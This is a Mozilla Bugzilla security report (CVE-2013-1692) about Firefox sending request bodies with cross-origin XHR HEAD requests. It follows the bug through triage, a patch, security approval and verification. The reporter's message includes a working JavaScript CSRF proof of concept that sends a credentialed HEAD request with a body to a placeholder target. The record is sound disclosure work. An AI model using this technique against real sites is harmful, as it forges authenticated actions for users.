Closed
Bug 866915
(CVE-2013-1692)
Opened 12 years ago
Closed 11 years ago
Do not send data XHR HEAD request
Categories
(Core :: DOM: Core & HTML, defect)
Tracking
()
People
(Reporter: jkuskos, Assigned: smaug)
Details
(Keywords: reporter-external, sec-high, Whiteboard: [adv-main22+][adv-esr1707+])
Attachments
(4 files)
|
99.18 KB,
image/png
|
Details | |
|
947 bytes,
patch
|
sicking
:
review+
akeybl
:
approval-mozilla-aurora+
akeybl
:
approval-mozilla-beta+
akeybl
:
approval-mozilla-esr17+
akeybl
:
approval-mozilla-b2g18+
abillings
:
sec-approval+
|
Details | Diff | Splinter Review |
|
2.22 KB,
patch
|
Details | Diff | Splinter Review | |
|
38.39 KB,
image/png
|
Details |
RequestResponse.png
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31
Steps to reproduce:
During a penetration test for a client, I found that CSRF was possible on a piece of their functionality when sent as a HEAD. In the latest version of chrome, they send a preflight request for this HEAD request, but Firefox 20 is not. I will attach the Request and Response with the sensitive client information omitted. My CSRF Proof of Concept has xmlhttp.withCredentials = true;.
I've supplied two things to you, the code that allowed for my exploit to work, as well as the request response pair that happens when the request is sent. I've omitted sensitive information about the application this worked on because I do not own it, but if needed I'll try to spin up an environment that is similar to what I'm working on to recreate it. Since I can only upload one file, I'm going to paste my Proof of Concept code here, and attach an image of the actual exploit taking place after the form request was made.
<!--
Johnathan Kuskos
This file is psuedocode for a successful CSRF I was able to exploit for a client.
The file was hosted on my personal site at malfiles.jkuskos.com and targetted a URL that i've renamed "example.com" for sake of my client's privacy. I will attempt to supply as much information as I can, as I believe that a PreFlight request should not have allowed this to take place in Firefox 20.0.
-->
<!DOCTYPE html>
<html>
<head>
<script>
function loadXMLDocHEAD()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200 || xmlhttp.status==302)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
var url = "https://example.com";//true victim omitted
var params = "body=";//true parameters omitted
xmlhttp.withCredentials = true;
xmlhttp.open("HEAD", url,true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(params);
}
</script>
</head>
<body>
<h1>HEAD request</h1>
<button type="button" onclick="loadXMLDocHEAD()">Send HEAD</button>
<div id="myDiv"></div>
</body>
</html>
Actual results:
The CORS request was successfully sent.
Expected results:
A Preflight request should have first sent an options request to check for if the HTTP verb was allowed, as specified here: https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Preflighted_requests
|
||
Updated•12 years ago
|
Flags: sec-bounty?
|
||
Updated•12 years ago
|
Component: Untriaged → DOM: Core & HTML
Product: Firefox → Core
|
|
||
Comment 1•12 years ago
|
||
If we are violating the spec here this is probably sec-moderate or sec-high since we're potentially contributing to CSRF attacks on sites that wouldn't be allowed without the XS-XHR feature. Can I get Anne or Olli to opine here?
|
||
Comment 2•12 years ago
|
||
HEAD is a simple method so can be done without preflight: http://www.w3.org/TR/cors/#simple-method This is an exception to type of requests that can be made with <form>, but it was a conscious one.
|
|
||
Comment 3•12 years ago
|
||
Note that per http://xhr.spec.whatwg.org/#the-send%28%29-method the data passed to send() is ignored for HEAD / GET. Are we ignoring that requirement maybe?
|
Reporter | |
Comment 4•12 years ago
|
||
Looking at steps 3 and 4 of the send() method, it appears to be what I encountered. Even though the request verb was HEAD, "data" did not get set to null, and the request body was successfully included.
|
|
||
Comment 5•12 years ago
|
||
(It also seems like a bug that Chrome does a preflight for HEAD. I guess once we figure out if there's a bug here we should clarify what the standard should say with each other.)
|
|
Reporter | |
Comment 6•12 years ago
|
||
Backtracking a bit to preflight, I think the issue is that yes, HEAD is a simple method. However, withCredentials=true. Because withCredentials=true, regardless of if HEAD is simple or not, a preflight must go out so that the browser isn't contributing to CSRF. If the application doesn't respond with the appropriate headers to be used in preflight, that's the application's fault.
As it currently stands, I would just use Firefox as my exploit browser for this type of CSRF vulnerability where verb tampering is allowed. I'll be spending today doing some research on this, but I believe Chrome is sending a preflight because withCredentials=true, and not because it's just a HEAD method.
|
|
||
Comment 7•12 years ago
|
||
Credentials has no bearing on this. Even without credentials it'd still be considered problematic (if considered problematic to begin with) for intranets.
|
Assignee | |
Comment 8•12 years ago
|
||
So is the bug here that we send data with HEAD?
|
|
Assignee | |
Comment 9•12 years ago
|
||
Should the spec whitelist the cases when data should be sent?
|
|
||
Comment 10•12 years ago
|
||
http://xhr.spec.whatwg.org/#the-send%28%29-method is pretty clear it should only be possible to be non-null when the request method is not HEAD or GET, no?
|
|
Assignee | |
Comment 11•12 years ago
|
||
Assignee: nobody → bugs
Attachment #746622 -
Flags: review?(jonas)
Comment on attachment 746622 [details] [diff] [review]
no data with head
Review of attachment 746622 [details] [diff] [review]:
-----------------------------------------------------------------
Tests needed though.
Attachment #746622 -
Flags: review?(jonas) → review+
|
|
Assignee | |
Comment 13•12 years ago
|
||
Comment on attachment 746622 [details] [diff] [review]
no data with head
[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Well, the problem is obvious
Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
The check-in comment should be about updating implementation to follow the XHR spec
Which older supported branches are affected by this flaw?
All
Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
The patch should apply everywhere.
How likely is this patch to cause regressions; how much testing does it need?
Probably not too regression risky, but hard to say if some website is doing odd Gecko only XHR handling.
Attachment #746622 -
Flags: sec-approval?
Attachment #746622 -
Flags: approval-mozilla-esr17?
Attachment #746622 -
Flags: approval-mozilla-b2g18?
Attachment #746622 -
Flags: approval-mozilla-aurora?
|
||
Comment 14•12 years ago
|
||
This doesn't look to be a respin 21 driver as it's only sec-high so marking wontfix there, we can look at uplift to FF22 once sec-approval is evaluated.
status-b2g18:
--- → affected
status-firefox21:
--- → wontfix
status-firefox22:
--- → affected
status-firefox23:
--- → affected
status-firefox-esr17:
--- → affected
tracking-b2g18:
--- → +
tracking-firefox22:
--- → +
tracking-firefox23:
--- → +
tracking-firefox-esr17:
--- → ?
|
|
||
Updated•12 years ago
|
status-firefox20:
--- → wontfix
|
|
||
Comment 15•12 years ago
|
||
Comment on attachment 746622 [details] [diff] [review]
no data with head
I think this is ok for m-c right now. It is a sec-high but not the most dangerous thing in the world right now. sec-approval+.
Attachment #746622 -
Flags: sec-approval? → sec-approval+
|
|
Assignee | |
Comment 16•12 years ago
|
||
|
|
Reporter | |
Comment 17•11 years ago
|
||
Since progress is being made on this, may I ask when an acceptable time would be to disclose this to other security researchers?
|
|
||
Comment 18•11 years ago
|
||
This isn't going to make it into the release tomorrow so our preference would be to keep it quiet until we can issue the fix in six weeks with Firefox 22.
But does the change we make fix the problem you see? We're still not doing a pre-flight request which we think is correct according to the spec. We were sending a body incorrectly but that may not be the cause of your CSRF.
|
|
Reporter | |
Comment 19•11 years ago
|
||
If the body is always nulled out for a head request, I do believe that this would no longer be a problem. I initially thought that the behavior might have been a preflight issue because the mozilla documentation I referenced in my original report stated "methods other than GET or POST" as being necessary for preflight, however Anne mentioned that was a conscious implementation.
The cause of my CSRF works in two parts.
1) The browser allowed me to send it cross origin.
2) The application accepted it and processed it as a POST.
Part 2 is the fault of the application. Part 1 wouldn't be possible if the body is null because the application would then treat it as a GET, which is an allowed simple method and doesn't require preflight. I don't see how this could further be exploited with a nulled body as a HEAD request.
Thanks for the input on disclosure. I have a blog post drafted but will sit on it until the fix is live.
|
||
Updated•11 years ago
|
|
|
||
Updated•11 years ago
|
Attachment #746622 -
Flags: approval-mozilla-esr17?
Attachment #746622 -
Flags: approval-mozilla-esr17+
Attachment #746622 -
Flags: approval-mozilla-beta+
Attachment #746622 -
Flags: approval-mozilla-b2g18?
Attachment #746622 -
Flags: approval-mozilla-b2g18+
Attachment #746622 -
Flags: approval-mozilla-aurora?
Attachment #746622 -
Flags: approval-mozilla-aurora+
|
|
Assignee | |
Comment 20•11 years ago
|
||
|
||
Comment 21•11 years ago
|
||
Status: NEW → RESOLVED
Closed: 11 years ago
status-b2g18-v1.0.1:
--- → affected
status-firefox24:
--- → fixed
Flags: in-testsuite?
Resolution: --- → FIXED
Target Milestone: --- → mozilla24
|
|
||
Comment 22•11 years ago
|
||
|
|
||
Comment 23•11 years ago
|
||
|
|
||
Updated•11 years ago
|
Flags: sec-bounty? → sec-bounty+
|
||
Comment 25•11 years ago
|
||
I'm not seeing any difference in headers between Firefox 21 and 22 when using the reporter's testcase (I'm using the HTTPFox add-on for seeing the headers).
What should the differences be? Or am I not looking in the right place?
|
|
Reporter | |
Comment 26•11 years ago
|
||
Here's a new test page that I've been using http://malfiles.jkuskos.com/xhr.html
I checked the FF22 beta to see if this is fixed, and it looks to me like a head request is still being made with post data the first time a page that contains the request is loaded. It won't be made on repeated visits to the same resource after that, but if the cache is cleared, it will be made again.
In this traffic history, #103 is my first request, which then sends a head request with post data. #105, #106, and #109 are more requests to the same resource. After #109, I clear my cache and request the page again, which then sends a head request with post data.
|
|
||
Updated•11 years ago
|
Whiteboard: [adv-main22+][adv-esr1707+]
|
||
Comment 27•11 years ago
|
||
Johnathan, referring to comment 26, I can't reproduce this behavior post-patch. Can you try again with a later build?
I can easily see the problem in builds of FF21/FF22 pre-patch.
I've confirmed that no headers are sent with an XHR HEAD request using the following builds:
FF17esr 2013-06-18
FF22 2013-05-25
FF23 2013-05-25
FF24 2013-06-13
Status: RESOLVED → VERIFIED
Whiteboard: [adv-main22+][adv-esr1707+]
|
|
||
Updated•11 years ago
|
Whiteboard: [adv-main22+][adv-esr1707+]
|
|
||
Comment 28•11 years ago
|
||
For developers and security folks - we'll need to accurately describe this issue in an advisory. I think that we've learned that the issue isn't the lack of a preflight request, but rather that we shouldn't be sending data in an XHR HEAD request.
Clarifications welcomed.
|
|
||
Comment 29•11 years ago
|
||
The summary in comment 28 seems accurate to me.
|
|
||
Updated•11 years ago
|
Alias: CVE-2013-1692
|
|
||
Updated•11 years ago
|
Summary: No XHR Preflight request in Firefox 20 for a HEAD request during a CSRF proof of concept. → Do not send data XHR HEAD request
|
|
Reporter | |
Comment 30•11 years ago
|
||
Matt, In the version of the FF22 beta that's available at http://www.mozilla.org/en-US/firefox/beta/ I'm not seeing this behavior anymore.
|
|
||
Comment 31•11 years ago
|
||
Great news, Johnathan - thanks!
|
|
||
Updated•10 years ago
|
Group: core-security
|
||
Updated•5 months ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•